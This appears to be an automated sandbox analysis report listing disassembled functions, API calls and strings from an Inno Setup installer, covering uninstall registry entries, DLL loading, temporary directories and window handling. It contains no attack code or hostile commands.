Opcode ID: 0d99781ba3b74d129cf7fe284f2fb874a2833baad2c3ee0b8c17a51b42a1def1
Instruction ID: 792271a71424278b40c344544890263380edecd1d6d7572d4222c7646c861560
Opcode Fuzzy Hash: 0d99781ba3b74d129cf7fe284f2fb874a2833baad2c3ee0b8c17a51b42a1def1
Instruction Fuzzy Hash: 0FD05E7121010DAB8B00DE99E880C6B33AC9B88740B608805F518C7205C634EC1087A5

Uniqueness

Uniqueness Score: -1.00%

Function 0046AA8C Relevance: 68.7, APIs: 1, Strings: 38, Instructions: 412
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0046A878: RegSetValueExA.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,?,004950AC,?,0046AB7B,?,00000000,0046B003,?,_is1), ref: 0046A89B

RegCloseKey.ADVAPI32(?,0046B00A,?,_is1,?,Software\Microsoft\Windows\CurrentVersion\Uninstall\,00000000,0046B055,?,?,00000001,004950AC), ref: 0046AFFD

Strings

InstallDate, xrefs: 0046AF3C
Contact, xrefs: 0046AEB8
Inno Setup: User Info: Organization, xrefs: 0046ACDB
Publisher, xrefs: 0046AE0A
MinorVersion, xrefs: 0046AF7A
HelpLink, xrefs: 0046AE61
NoRepair, xrefs: 0046AF1D
MajorVersion, xrefs: 0046AF68
NoModify, xrefs: 0046AF09
InstallLocation, xrefs: 0046ABBE
Inno Setup: User Info: Serial, xrefs: 0046ACF0
5.3.4 (a), xrefs: 0046AB6E
DisplayIcon, xrefs: 0046AD5C
HelpTelephone, xrefs: 0046AE44
Inno Setup: No Icons, xrefs: 0046ABEB
DisplayVersion, xrefs: 0046ADED
UninstallString, xrefs: 0046AD96
Inno Setup: Setup Version, xrefs: 0046AB69
QuietUninstallString, xrefs: 0046ADD0
Inno Setup: Setup Type, xrefs: 0046AC29
_is1, xrefs: 0046AAD4
URLInfoAbout, xrefs: 0046AE27
RegisterPreviousData, xrefs: 0046AFB3
Inno Setup: Deselected Components, xrefs: 0046AC67
" /SILENT, xrefs: 0046ADC3
DisplayName, xrefs: 0046AD3F
Inno Setup: User, xrefs: 0046AC0A
Inno Setup: Icon Group, xrefs: 0046ABCD
ModifyPath, xrefs: 0046AEF5
Readme, xrefs: 0046AE9B
Comments, xrefs: 0046AED5
Inno Setup: App Path, xrefs: 0046AB9E
Inno Setup: Selected Tasks, xrefs: 0046AC8F
URLUpdateInfo, xrefs: 0046AE7E
Inno Setup: User Info: Name, xrefs: 0046ACC6
Inno Setup: Selected Components, xrefs: 0046AC48
Software\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 0046AACE
Inno Setup: Deselected Tasks, xrefs: 0046ACAE

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseValue
String ID: " /SILENT$5.3.4 (a)$Comments$Contact$DisplayIcon$DisplayName$DisplayVersion$HelpLink$HelpTelephone$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: Setup Version$Inno Setup: User$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$InstallDate$InstallLocation$MajorVersion$MinorVersion$ModifyPath$NoModify$NoRepair$Publisher$QuietUninstallString$Readme$RegisterPreviousData$Software\Microsoft\Windows\CurrentVersion\Uninstall\$URLInfoAbout$URLUpdateInfo$UninstallString$_is1
API String ID: 3132538880-4027905794
Opcode ID: 9a8eb871790f0b22bcff3233a218b1705323e430392313ecfac733ee4545f969
Instruction ID: bcc948474739f7d4ff28eebc8c8e5d3f87406a7e72996d7d4e0226daa9b19a94
Opcode Fuzzy Hash: 9a8eb871790f0b22bcff3233a218b1705323e430392313ecfac733ee4545f969
Instruction Fuzzy Hash: 70F15870A005099BCB04EB55D8519AEB7B9EB44304F60C07BE811AB395EB78BD46CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0048C62C Relevance: 56.4, APIs: 16, Strings: 16, Instructions: 431
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000000,00000000,0048CB21,?,?,?,?,00000000,00000000,00000000), ref: 0048C66C
FindWindowA.USER32(00000000,00000000), ref: 0048C69D

Strings

SENDBROADCASTMESSAGE, xrefs: 0048C839
CHARTOOEMBUFF, xrefs: 0048CAC2
POSTMESSAGE, xrefs: 0048C747
LOADDLL, xrefs: 0048C92F
CALLDLLPROC, xrefs: 0048C991
FINDWINDOWBYWINDOWNAME, xrefs: 0048C6B5
REGISTERWINDOWMESSAGE, xrefs: 0048C7FF
POSTBROADCASTMESSAGE, xrefs: 0048C887
SENDBROADCASTNOTIFYMESSAGE, xrefs: 0048C8DB
SENDNOTIFYMESSAGE, xrefs: 0048C7A3
FINDWINDOWBYCLASSNAME, xrefs: 0048C679
FREEDLL, xrefs: 0048CA18
OEMTOCHARBUFF, xrefs: 0048CA7F
SENDMESSAGE, xrefs: 0048C6F1
CREATEMUTEX, xrefs: 0048CA4D
SLEEP, xrefs: 0048C656

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FindSleepWindow
String ID: CALLDLLPROC$CHARTOOEMBUFF$CREATEMUTEX$FINDWINDOWBYCLASSNAME$FINDWINDOWBYWINDOWNAME$FREEDLL$LOADDLL$OEMTOCHARBUFF$POSTBROADCASTMESSAGE$POSTMESSAGE$REGISTERWINDOWMESSAGE$SENDBROADCASTMESSAGE$SENDBROADCASTNOTIFYMESSAGE$SENDMESSAGE$SENDNOTIFYMESSAGE$SLEEP
API String ID: 3078808852-3310373309
Opcode ID: 00e72b43fdd863d5ba5dcc0766ec439f54cea458937b4516d34acaa2a5549163
Instruction ID: f524c342f64002353724253178373006bfdacafd8b11f716a45f6a977dbd9a74
Opcode Fuzzy Hash: 00e72b43fdd863d5ba5dcc0766ec439f54cea458937b4516d34acaa2a5549163
Instruction Fuzzy Hash: 70C18560B0061027D714FB7E9C8261E66999F95704B11DD3FB446EB78ACE3DEC05836E

Uniqueness

Uniqueness Score: -1.00%

Function 0047DC90 Relevance: 26.3, APIs: 9, Strings: 6, Instructions: 68
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 0047DCA1
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0047DCAE
GetNativeSystemInfo.KERNELBASE(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0047DCBC
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 0047DCC4
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 0047DCD0
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 0047DCF1
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 0047DD04
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0047DD0A
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 0047DD21

Strings

GetNativeSystemInfo, xrefs: 0047DCA8
advapi32.dll, xrefs: 0047DCFF
GetSystemWow64DirectoryA, xrefs: 0047DCEB
RegDeleteKeyExA, xrefs: 0047DCFA
IsWow64Process, xrefs: 0047DCBE
kernel32.dll, xrefs: 0047DC9C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$HandleInfoModuleSystem$CurrentNativeProcess
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 2230631259-2623177817
Opcode ID: cd7d2839bf33e36d33ab18a2ace6ff88ba8499abbd063b6382b2a6e7979d4eda
Instruction ID: 9223080a01aab665d55f2b56f17608545a072cc335287f1292a6e5765a842dfc
Opcode Fuzzy Hash: cd7d2839bf33e36d33ab18a2ace6ff88ba8499abbd063b6382b2a6e7979d4eda
Instruction Fuzzy Hash: AD11E241C2574094EA31B7B58E4ABFB2678CF12758F18C43B784C662C3D67CD8448A6F

Uniqueness

Uniqueness Score: -1.00%

Function 004651A8 Relevance: 24.7, APIs: 1, Strings: 13, Instructions: 155
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042DC54: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,0047DDF7,?,00000001,?,?,0047DDF7,?,00000001,00000000), ref: 0042DC70

RegCloseKey.ADVAPI32(?,004653C2,?,?,00000001,00000000,00000000,004653DD,?,00000000,00000000,?), ref: 004653AB

Strings

Inno Setup: User Info: Organization, xrefs: 0046537A
Inno Setup: App Path, xrefs: 0046526A
Inno Setup: User Info: Serial, xrefs: 0046538D
Inno Setup: Deselected Components, xrefs: 004652EC
Inno Setup: Icon Group, xrefs: 00465286
Inno Setup: Selected Components, xrefs: 004652CA
Inno Setup: Deselected Tasks, xrefs: 00465339
Inno Setup: User Info: Name, xrefs: 00465367
Inno Setup: Selected Tasks, xrefs: 00465317
Inno Setup: Setup Type, xrefs: 004652BA
%s\%s_is1, xrefs: 00465225
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 00465207
Inno Setup: No Icons, xrefs: 00465293

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseOpen
String ID: %s\%s_is1$Inno Setup: App Path$Inno Setup: Deselected Components$Inno Setup: Deselected Tasks$Inno Setup: Icon Group$Inno Setup: No Icons$Inno Setup: Selected Components$Inno Setup: Selected Tasks$Inno Setup: Setup Type$Inno Setup: User Info: Name$Inno Setup: User Info: Organization$Inno Setup: User Info: Serial$Software\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 47109696-1093091907
Opcode ID: 9ce9a5df1975e756b432f281553e90eeeeefc017c1f178ede9342908355fa115
Instruction ID: 4ab213a2d8ea7f563b4f24483654b6d3db0bb1d5b93a3c7cd1a46aaae94220a2
Opcode Fuzzy Hash: 9ce9a5df1975e756b432f281553e90eeeeefc017c1f178ede9342908355fa115
Instruction Fuzzy Hash: 5251D630A00A449BCB11DB65D9517DEBBF5EF44344FA084BAE844A7392E778AF45CB09

Uniqueness

Uniqueness Score: -1.00%

Function 004237E4 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 98
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041F334: VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,00000000,0041ED14,?,004237FF,00423B7C,0041ED14), ref: 0041F352

GetClassInfoA.USER32(00400000,004235EC), ref: 0042380F
RegisterClassA.USER32(00493630), ref: 00423827
GetSystemMetrics.USER32(00000000), ref: 00423849
GetSystemMetrics.USER32(00000001), ref: 00423858
SetWindowLongA.USER32(004105C0,000000FC,004235FC), ref: 004238B4
SendMessageA.USER32(004105C0,00000080,00000001,00000000), ref: 004238D5
GetSystemMenu.USER32(004105C0,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C,0041ED14), ref: 004238E0
DeleteMenu.USER32(00000000,0000F030,00000000,004105C0,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423B7C,0041ED14), ref: 004238EF
DeleteMenu.USER32(00000000,0000F000,00000000,00000000,0000F030,00000000,004105C0,00000000,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001), ref: 004238FC
DeleteMenu.USER32(00000000,0000F010,00000000,00000000,0000F000,00000000,00000000,0000F030,00000000,004105C0,00000000,00000000,00400000,00000000,00000000,00000000), ref: 00423912

Strings

5B, xrefs: 00423803, 00423884

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Menu$DeleteSystem$ClassMetrics$AllocInfoLongMessageRegisterSendVirtualWindow
String ID: 5B
API String ID: 183575631-3738334870
Opcode ID: 2525fb3c05810e8562c46c69867c8ead6d06b13db06e753dcd3e83bb75084637
Instruction ID: 904541913dac979c95981ef11fb7d46e22315ee65c5a1a9273e4e0c77d2e9a1f
Opcode Fuzzy Hash: 2525fb3c05810e8562c46c69867c8ead6d06b13db06e753dcd3e83bb75084637
Instruction Fuzzy Hash: 073161B17402107AEB20AF65DC82F6B36989715709F10017BBA41AF2D7C67DED01876C

Uniqueness

Uniqueness Score: -1.00%

Function 004779B4 Relevance: 15.8, APIs: 1, Strings: 8, Instructions: 95
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(6E560000,SHGetFolderPathA), ref: 00477AB6

Strings

shfolder.dll, xrefs: 00477A19, 00477A52
SHFOLDERDLL, xrefs: 004779F3
Failed to load DLL "%s", xrefs: 00477A99
Failed to get version numbers of _shfoldr.dll, xrefs: 00477A0C
_isetup\_shfoldr.dll, xrefs: 004779E6
Failed to get address of SHGetFolderPath function, xrefs: 00477AC7
SHGetFolderPathA, xrefs: 00477AAB
shell32.dll, xrefs: 00477A61

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address of SHGetFolderPath function$Failed to get version numbers of _shfoldr.dll$Failed to load DLL "%s"$SHFOLDERDLL$SHGetFolderPathA$_isetup\_shfoldr.dll$shell32.dll$shfolder.dll
API String ID: 190572456-1343262939
Opcode ID: 326d038cb5ed66d6965ef9f79b3615df5c39ec0eed82ce05998c1027af74040e
Instruction ID: 49185784d2d2767166d0e9f92b0e194c902f92e05003c5a198be5f154938151e
Opcode Fuzzy Hash: 326d038cb5ed66d6965ef9f79b3615df5c39ec0eed82ce05998c1027af74040e
Instruction Fuzzy Hash: 2D310030A042099FDB11EB95D8829DEB7B5EB44308FA08577E804E7351D778AF45CBAC

Uniqueness

Uniqueness Score: -1.00%

Function 0042ED94 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 90
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0042EDC3
GetFocus.USER32 ref: 0042EDCB
RegisterClassA.USER32(004937AC), ref: 0042EDEC
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,0042EEC0,88000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 0042EE2A
CreateWindowExA.USER32(00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000), ref: 0042EE70
ShowWindow.USER32(00000000,00000008,00000000,TWindowDisabler-Window,00000000,80000000,00000000,00000000,00000000,00000000,61736944,00000000,00400000,00000000,00000000,TWindowDisabler-Window), ref: 0042EE81
SetFocus.USER32(00000000,00000000,0042EEA3,?,?,?,00000001,00000000,?,00456712,00000000,00494628), ref: 0042EE88

Strings

TWindowDisabler-Window, xrefs: 0042EE23, 0042EE69
(FI, xrefs: 0042EE9A, 0042EE53, 0042EE60

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$CreateFocus$ActiveClassRegisterShow
String ID: (FI$TWindowDisabler-Window
API String ID: 3167913817-373594729
Opcode ID: a3ca60a75e732bb51453dddc2c490802b9d7a662ac09df4b556055ac6f1e94aa
Instruction ID: da0a8043275c7bf3a93fe4eefa1d540893f351b9f71510032f8cfd414f1a65c9
Opcode Fuzzy Hash: a3ca60a75e732bb51453dddc2c490802b9d7a662ac09df4b556055ac6f1e94aa
Instruction Fuzzy Hash: 6721B2B1740711BAE220EF62DC02F1B76A8EB45B04F61413BF600AB2D1D7BC6D11C6AD

Uniqueness

Uniqueness Score: -1.00%

Function 00451B74 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 46
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451C0D,?,?,?,?,00000000,?,0049297B), ref: 00451B94
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451B9A
GetModuleHandleA.KERNEL32(kernel32.dll,Wow64RevertWow64FsRedirection,00000000,kernel32.dll,Wow64DisableWow64FsRedirection,00000000,00451C0D,?,?,?,?,00000000,?,0049297B), ref: 00451BAE
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00451BB4

Strings

shell32.dll, xrefs: 00451BE0
kernel32.dll, xrefs: 00451B8F, 00451BA9
Wow64DisableWow64FsRedirection, xrefs: 00451B8A
Wow64RevertWow64FsRedirection, xrefs: 00451BA4

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64DisableWow64FsRedirection$Wow64RevertWow64FsRedirection$kernel32.dll$shell32.dll
API String ID: 1646373207-2130885113
Opcode ID: f383fb48213f6c2b98df67bb585b7a3e2d1d6244cf436abb077e6f35d80479e6
Instruction ID: 997ed90857de5ca6b6faab55f770a1a30dabd985267bea0a56e7b9690acb7eff
Opcode Fuzzy Hash: f383fb48213f6c2b98df67bb585b7a3e2d1d6244cf436abb077e6f35d80479e6
Instruction Fuzzy Hash: 4201D474284304AEDB02EB72EC06F5B3A58F751B1AF60487BF800562A3D6FD5D09CA2D

Uniqueness

Uniqueness Score: -1.00%

Function 00477688 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,004777FB,?,?,00000000,00494628,00000000,00000000,?,00492351,00000000,004924FA,?,00000000), ref: 0047771B
GetLastError.KERNEL32(00000000,00000000,00000000,004777FB,?,?,00000000,00494628,00000000,00000000,?,00492351,00000000,004924FA,?,00000000), ref: 00477724

Strings

\_setup64.tmp, xrefs: 004777B3
\_RegDLL.tmp, xrefs: 00477788
Created temporary directory: , xrefs: 004776BD
_isetup, xrefs: 00477706
REGDLL_EXE, xrefs: 00477798

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $REGDLL_EXE$\_RegDLL.tmp$\_setup64.tmp$_isetup
API String ID: 1375471231-1421604804
Opcode ID: 9af9e5047942150dd1bdaf748b612ec8dc7c41cda999b56e55422ae8274150d3
Instruction ID: 4b0667b2ca952db17e5eb31d7eb45e66b75ce74adbb243fdaac5edde39bfd4c6
Opcode Fuzzy Hash: 9af9e5047942150dd1bdaf748b612ec8dc7c41cda999b56e55422ae8274150d3
Instruction Fuzzy Hash: B3415634A002099BCB01FF95C891ADEB7B5FB44304F50857BE81477396D738AE05CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00430174 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 23
registryclipboardthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegisterClipboardFormatA.USER32(commdlg_help), ref: 0043017C
RegisterClipboardFormatA.USER32(commdlg_FindReplace), ref: 0043018B
GetCurrentThreadId.KERNEL32 ref: 004301A5
GlobalAddAtomA.KERNEL32(00000000), ref: 004301C6

Strings

commdlg_FindReplace, xrefs: 00430186
commdlg_help, xrefs: 00430177
WndProcPtr%.8X%.8X, xrefs: 004301B7

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ClipboardFormatRegister$AtomCurrentGlobalThread
String ID: WndProcPtr%.8X%.8X$commdlg_FindReplace$commdlg_help
API String ID: 4130936913-2943970505
Opcode ID: e1a288e5974f646cac8171a9bb8c2e0076bf1e8d900104ca3b2b9541d9e9a9a5
Instruction ID: 40284a23f2128dd4c732f76bf629692f59332b695a7ba269acd0c8d21ef7b0e1
Opcode Fuzzy Hash: e1a288e5974f646cac8171a9bb8c2e0076bf1e8d900104ca3b2b9541d9e9a9a5
Instruction Fuzzy Hash: ACF082B04483408AD700EB75C802B197BE4EB99318F00467FB858A63E1D77E8501CB5F

Uniqueness

Uniqueness Score: -1.00%

Function 00453780 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00000080,COMMAND.COM" /C ,?,0045399C,0045399C,00000031,0045399C,00000000), ref: 00453928
CloseHandle.KERNEL32(?,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,00000080,COMMAND.COM" /C ,?,0045399C,0045399C,00000031,0045399C), ref: 00453935

Part of subcall function 004536EC: WaitForInputIdle.USER32(00000001,00000032), ref: 00453718
Part of subcall function 004536EC: MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 0045373A
Part of subcall function 004536EC: GetExitCodeProcess.KERNEL32(00000001,00000001), ref: 00453749
Part of subcall function 004536EC: CloseHandle.KERNEL32(00000001,00453776,0045376F,?,00000031,00000080,00000000,?,?,00453AC7,00000080,0000003C,00000000,00453ADD), ref: 00453769

Strings

.cmd, xrefs: 0045382B
D, xrefs: 004538C8
COMMAND.COM" /C , xrefs: 00453894
.bat, xrefs: 00453810
cmd.exe" /C ", xrefs: 0045385D

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: 3ba6da27587f0247c6075d637dc04b84a3427199ed6966589dcae68aca958c76
Instruction ID: 23b7935fd39ab9199875fd3ca17ea8a190fbf679708bf4b94726f8b76bbbb425
Opcode Fuzzy Hash: 3ba6da27587f0247c6075d637dc04b84a3427199ed6966589dcae68aca958c76
Instruction Fuzzy Hash: 385148B470034DABDB11EFA5CC41BDEBBB9AF44746F50443BB804A7282D7799B098B58

Uniqueness

Uniqueness Score: -1.00%

Function 004235FC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 96windowCOMMON

Download Yara Rule

APIs

LoadIconA.USER32(00400000,MAINICON), ref: 0042368C
GetModuleFileNameA.KERNEL32(00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 004236B9
OemToCharA.USER32(?,?), ref: 004236CC
CharLowerA.USER32(?,00400000,?,00000100,00400000,MAINICON,?,?,?,00418F56,00000000,?,?,?,00000001), ref: 0042370C

Strings

2, xrefs: 0042365A
MAINICON, xrefs: 00423681

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Char$FileIconLoadLowerModuleName
String ID: 2$MAINICON
API String ID: 3935243913-3181700818
Opcode ID: 0aa366c20d2d5f249e9f5701ecd4d5d8333df010bd072e77a87ccb3058afe0f7
Instruction ID: 369b424dc89666f2ebc4032af242e6aa1f8f3c6487aa9724dd5eac47ff86fd2b
Opcode Fuzzy Hash: 0aa366c20d2d5f249e9f5701ecd4d5d8333df010bd072e77a87ccb3058afe0f7
Instruction Fuzzy Hash: EC31C4B0A042449ADF10EF29C8C57C67BE8AF14308F4440BAE844DB383D7BED989CB65

Uniqueness

Uniqueness Score: -1.00%

Function 00418EA8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55threadCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(00000000), ref: 00418EAD
GlobalAddAtomA.KERNEL32(00000000), ref: 00418ECE
GetCurrentThreadId.KERNEL32 ref: 00418EE9
GlobalAddAtomA.KERNEL32(00000000), ref: 00418F0A

Part of subcall function 00423038: 73A1A570.USER32(00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 0042308E
Part of subcall function 00423038: EnumFontsA.GDI32(00000000,00000000,00422FD8,004105C0,00000000,?,?,00000000,?,00418F43,00000000,?,?,?,00000001), ref: 004230A1
